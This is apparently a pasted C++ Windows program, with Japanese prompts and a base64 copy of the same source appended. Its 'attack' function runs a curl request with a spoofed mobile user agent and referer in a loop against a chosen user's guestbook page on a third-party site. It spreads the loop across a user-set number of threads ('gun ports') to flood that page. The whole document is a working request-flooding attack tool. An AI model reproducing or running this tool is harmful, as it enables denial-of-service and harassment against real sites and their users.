#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <sstream>
#include <string>
#include <thread>
#include <vector>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
using namespace std;
bool endFlag = false;
void attack(string userID, int interval)
{
ostringstream stream;
string command;
stream << "curl -A \"Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) " <<
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36\" " <<
"-e http://c...content-available-to-author-only...y.am/ -Ss http://c...content-available-to-author-only...y.am/" + userID + "/guestbook > nul";
command = stream.str();
while (1)
{
if (GetAsyncKeyState(VK_ESCAPE)) endFlag = true;
if (endFlag) return;
system(command.c_str());
this_thread::sleep_for(chrono::milliseconds(interval));
}
return;
}
int main(void)
{
string userID;
int threadCount = 0, interval = 0;
vector<thread> threads;
cout << "IDを入力 : ";
cin >> userID;
cout << "砲門数を入力 : ";
scanf("%d", &threadCount);
threads.resize(threadCount);
cout << "待ち時間を入力(ミリ秒単位) : ";
scanf("%d", &interval);
for (int i = 0; i < threadCount; i++)
{
threads[i] = thread(attack, userID, interval);
}
for (int i = 0; i < threadCount; i++)
{
threads[i].join();
}
system("pause");
return 0;
}
I2RlZmluZSBfQ1JUX1NFQ1VSRV9OT19XQVJOSU5HUwojaW5jbHVkZSA8aW9zdHJlYW0+CiNpbmNsdWRlIDxzc3RyZWFtPgojaW5jbHVkZSA8c3RyaW5nPgojaW5jbHVkZSA8dGhyZWFkPgojaW5jbHVkZSA8dmVjdG9yPgojaW5jbHVkZSA8Y3N0ZGlvPgojaW5jbHVkZSA8Y3N0ZGxpYj4KI2luY2x1ZGUgPGN0aW1lPgojaW5jbHVkZSA8V2luZG93cy5oPgp1c2luZyBuYW1lc3BhY2Ugc3RkOwoKYm9vbCBlbmRGbGFnID0gZmFsc2U7Cgp2b2lkIGF0dGFjayhzdHJpbmcgdXNlcklELCBpbnQgaW50ZXJ2YWwpCnsKCW9zdHJpbmdzdHJlYW0gc3RyZWFtOwoJc3RyaW5nIGNvbW1hbmQ7CglzdHJlYW0gPDwgImN1cmwgLUEgXCJNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNC40LjI7IE5leHVzIDQgQnVpbGQvS09UNDlIKSAiIDw8CgkJIkFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8zNC4wLjE4NDcuMTE0IE1vYmlsZSBTYWZhcmkvNTM3LjM2XCIgIiA8PAoJCSItZSBodHRwOi8vYy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ueS5hbS8gLVNzIGh0dHA6Ly9jLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi55LmFtLyIgKyB1c2VySUQgKyAiL2d1ZXN0Ym9vayA+IG51bCI7Cgljb21tYW5kID0gc3RyZWFtLnN0cigpOwoKCXdoaWxlICgxKQoJewoJCWlmIChHZXRBc3luY0tleVN0YXRlKFZLX0VTQ0FQRSkpIGVuZEZsYWcgPSB0cnVlOwoJCWlmIChlbmRGbGFnKSByZXR1cm47CgoJCXN5c3RlbShjb21tYW5kLmNfc3RyKCkpOwoJCXRoaXNfdGhyZWFkOjpzbGVlcF9mb3IoY2hyb25vOjptaWxsaXNlY29uZHMoaW50ZXJ2YWwpKTsKCX0KCglyZXR1cm47Cn0KCmludCBtYWluKHZvaWQpCnsKCXN0cmluZyB1c2VySUQ7CglpbnQgdGhyZWFkQ291bnQgPSAwLCBpbnRlcnZhbCA9IDA7Cgl2ZWN0b3I8dGhyZWFkPiB0aHJlYWRzOwoJY291dCA8PCAiSUTjgpLlhaXlipsgOiAiOwoJY2luID4+IHVzZXJJRDsKCWNvdXQgPDwgIuegsumWgOaVsOOCkuWFpeWKmyA6ICI7CglzY2FuZigiJWQiLCAmdGhyZWFkQ291bnQpOwoJdGhyZWFkcy5yZXNpemUodGhyZWFkQ291bnQpOwoJY291dCA8PCAi5b6F44Gh5pmC6ZaT44KS5YWl5YqbKOODn+ODquenkuWNmOS9jSkgOiAiOwoJc2NhbmYoIiVkIiwgJmludGVydmFsKTsKCglmb3IgKGludCBpID0gMDsgaSA8IHRocmVhZENvdW50OyBpKyspCgl7CgkJdGhyZWFkc1tpXSA9IHRocmVhZChhdHRhY2ssIHVzZXJJRCwgaW50ZXJ2YWwpOwoJfQoKCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkQ291bnQ7IGkrKykKCXsKCQl0aHJlYWRzW2ldLmpvaW4oKTsKCX0KCglzeXN0ZW0oInBhdXNlIik7CglyZXR1cm4gMDsKfQo=